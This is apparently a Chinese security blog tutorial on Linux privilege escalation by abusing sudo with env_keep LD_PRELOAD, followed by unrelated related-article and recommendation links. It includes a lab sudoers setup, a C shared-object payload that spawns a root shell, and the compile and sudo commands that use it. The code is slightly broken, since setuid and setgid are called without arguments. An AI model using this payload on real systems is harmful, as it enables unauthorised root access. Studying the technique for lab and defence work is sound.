使用LD_Preload的Linux权限升级技巧
0x00 前言
共享库是程序在启动时加载的库。正确安装共享库后,之后启动的所有程序将自动使用新的共享库。
0x01 共享库名称
每个共享库都有一个名为soname的特殊名称。soname有前缀lib,库的后缀名为.so,后跟句号和版本号。
动态链接器可以通过运行一些动态链接的程序或共享对象来间接运行。程序ld.so和ld linux.so*查找并加载程序所需的共享对象(共享库),准备程序执行,然后运行它。(从这里读)
LD_Preload:它是一个环境变量,它列出了共享库,其中包含重写标准集的函数,就像/etc/ld.so.preload一样。这些是由loader/lib/ld-linux实现的。
想了解更多信息,请阅读此处。
0x02 实验设置
日志用户必须拥有一些sudo权限,这一点很重要,因此,我们已经赋予sudo用户一些sudo权限,例如由sudo用户执行的/usr/bin/find。但除此之外,还有一些默认配置,您可以在其中设置一个环境变量作为sudo
为此,请按照以下步骤操作:
- 输入visudo打开/etc/sudoers文件
- 现在赋予一个用户一些sudo权限,在我们的例子中,“raj”将成为sudoers的成员
raj ALL=(ALL:ALL) NOPASSWD: /usr/bin/find
- 然后添加以下内容作为默认配置来设置LD_preload的环境。
Defaults env_keep += LD_PRELOAD
0x03 权限升级
要利用此类漏洞,我们需要立即攻击受害者的主机,然后进入到权限提升阶段。假设你现在通过ssh成功登录到受害者的主机上,利用sudo -l命令来检测它并获取利用信息。注意突出显示的环境变量将作为sudo运行环境。
让我们在/tmp目录中生成一个C程序文件。
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid();
setuid();
system("/bin/sh");
}
然后将其保存为/cmp中的shell.c
如上所述,让我们编译它以生成一个带有.so扩展名的共享对象,同样在Windows操作系统中使用.dll文件,因此输入以下内容:
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
ls -al shell.so
sudo LD_PRELOAD=/tmp/shell.so find
id
whoami
非常好,我们获得了ROOT访问权限。
使用LD_Preload的Linux权限升级技巧的更多相关文章
- 使用sudo进行Linux权限升级技巧
0x00 前言 在我们之前的文章中,我们讨论了如何使用SUID二进制文件和/etc/passwd 文件的Linux权限提升技巧,今天我们发布了另一种“使用Sudoers文件进行Linux权限提示技巧” ...
- 使用PATH变量进行Linux权限升级技巧
0x00 前言 在解决了几个OSCP挑战之后,我们决定写一篇关于用于Linux权限升级的各种方法的文章,这对我们的读者在其渗透测试项目中有所帮助.在本文中,我们将学习“使用$path变量的各种方法”以 ...
- 使用SUID二进制文件进行Linux权限升级技巧
0x00 基础知识 众所周知,在Linux中一切都以文件存在,包括具有允许或限制三个执行操作(即读/写/执行)权限的目录和设备.因此,当给任何文件设置权限时,应该需要了解允许的Linux用户或限制 ...
- 编辑/etc/passwd文件进行权限升级的技巧
0x00 前言 在本文中,我们将学习“修改/etc/passwd文件以创建或更改用户的root权限的各种方法”.有时,一旦目标被攻击,就必须知道如何在/etc/passwd文件中编辑自己的用户以进行权 ...
- 给新手的 10 个有用 Linux 命令行技巧
我记得我第一次使用 Linux 的时候,我还习惯于 Windows 的图形界面,我真的很讨厌 Linux 终端.那时候我觉得命令难以记忆,不能正确使用它们.随着时间推移,我意识到了 Linux 终端的 ...
- linux===给新手的 10 个有用 Linux 命令行技巧(转)
本文转自:http://www.codeceo.com/article/10-linux-useful-command.html?ref=myread 仅用作学习交流使用.如有侵权,立删 我记得我第一 ...
- linux java7升级到java8
转自:https://blog.csdn.net/u010199866/article/details/81744382 linux java7升级到java8 版权 1.第一步先卸载所有老的jd ...
- 【shell 大系】Linux Shell常用技巧
在最近的日常工作中由于经常会和Linux服务器打交道,如Oracle性能优化.我们数据采集服务器的资源利用率监控,以及Debug服务器代码并解决其效率和稳定性等问题.因此这段时间总结的有关Linux ...
- linux权限系统
Linux权限分为 r(4):可读 , w(2)可写 , x(1)可执行 , -无权限 , 可以通过ls -l 文件名查看权限 , 如 ls -l 文件名 输出: -rwxrw---x. root r ...
随机推荐
- 使用proxyee-down解决百度云下载限速问题
1.在下面页面安装HTTP下载器 https://github.com/proxyee-down-org/proxyee-down#%E4%B8%8B%E8%BD%BD 2.安装switchy插件 h ...
- 九九乘法表的python复习
九九开始的复习 这周复习之前的学的知识关于range函数,gormat函数,print的使用总结一下 从一个小例子开始,开始我的回顾吧, 大家都是从那个九九乘法表开始的数学之旅,从一一得一,开始了我们 ...
- HTML基础范例
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- Ubuntu下载磁力链接,torrent,迅雷链接
用ubuntu下载电影:磁力链接,torrent,迅雷链接 需要软件:Ktorent, Amule 安装软件: sudo apt-get install ktorrent sudo apt-get i ...
- Hyperledger Fabric Capabilities——超级账本功能汇总
Hyperledger Fabric是一种模块化的区块链架构,是分布式记账技术(DLT)的一种独特的实现,它提供了可供企业运用的网络,具备安全.可伸缩.加密和可执行等特性.Hyperledger Fa ...
- python3 通过qq邮箱定时发送邮件
下面的代码为了每天定时发送监控邮件,监控什么呢?监控当天redis队列中是否有没有消费的数据,和当天mysql中新增的数据量 # -*- coding:utf-8 -*- from common.re ...
- eject命令详解
基础命令学习目录首页 原文链接:http://www.kgc.cn/bbs/post/128680.shtml Linux eject命令用于退出抽取式设备. 若设备已挂入,则eject会先将该设备卸 ...
- RN 离线包集成后需要注意的一些问题
1.ReactNative 开发中如何去掉iOS状态栏的"Loading from..." 等淡黑色的弹框,很难看? 在 AppDelegate.h 中引入: #import &l ...
- oracle 语句之对数据库的表名就行模糊查询,对查询结果进行遍历,依次获取每个表名结果中的每个字段(存储过程)
语句的执行环境是plsql的sql窗口, 语句的目的是从整个数据库中的所有表判断 不等于某个字段的记录数 . 代码如下: declare s_sql clob:=''; -- 声明一个变量,该变量用于 ...
- 凡事预则立|项目Beta冲刺准备
1.讨论组长是否重选的议题和结论. 组员一致认为组长不需要重选,我们都很认可组长的表现,组长的付出我们都看在眼里,我们找不出更适合担任组长的人选. 2.下一阶段需要改进完善的功能. 财富值的布局优化以 ...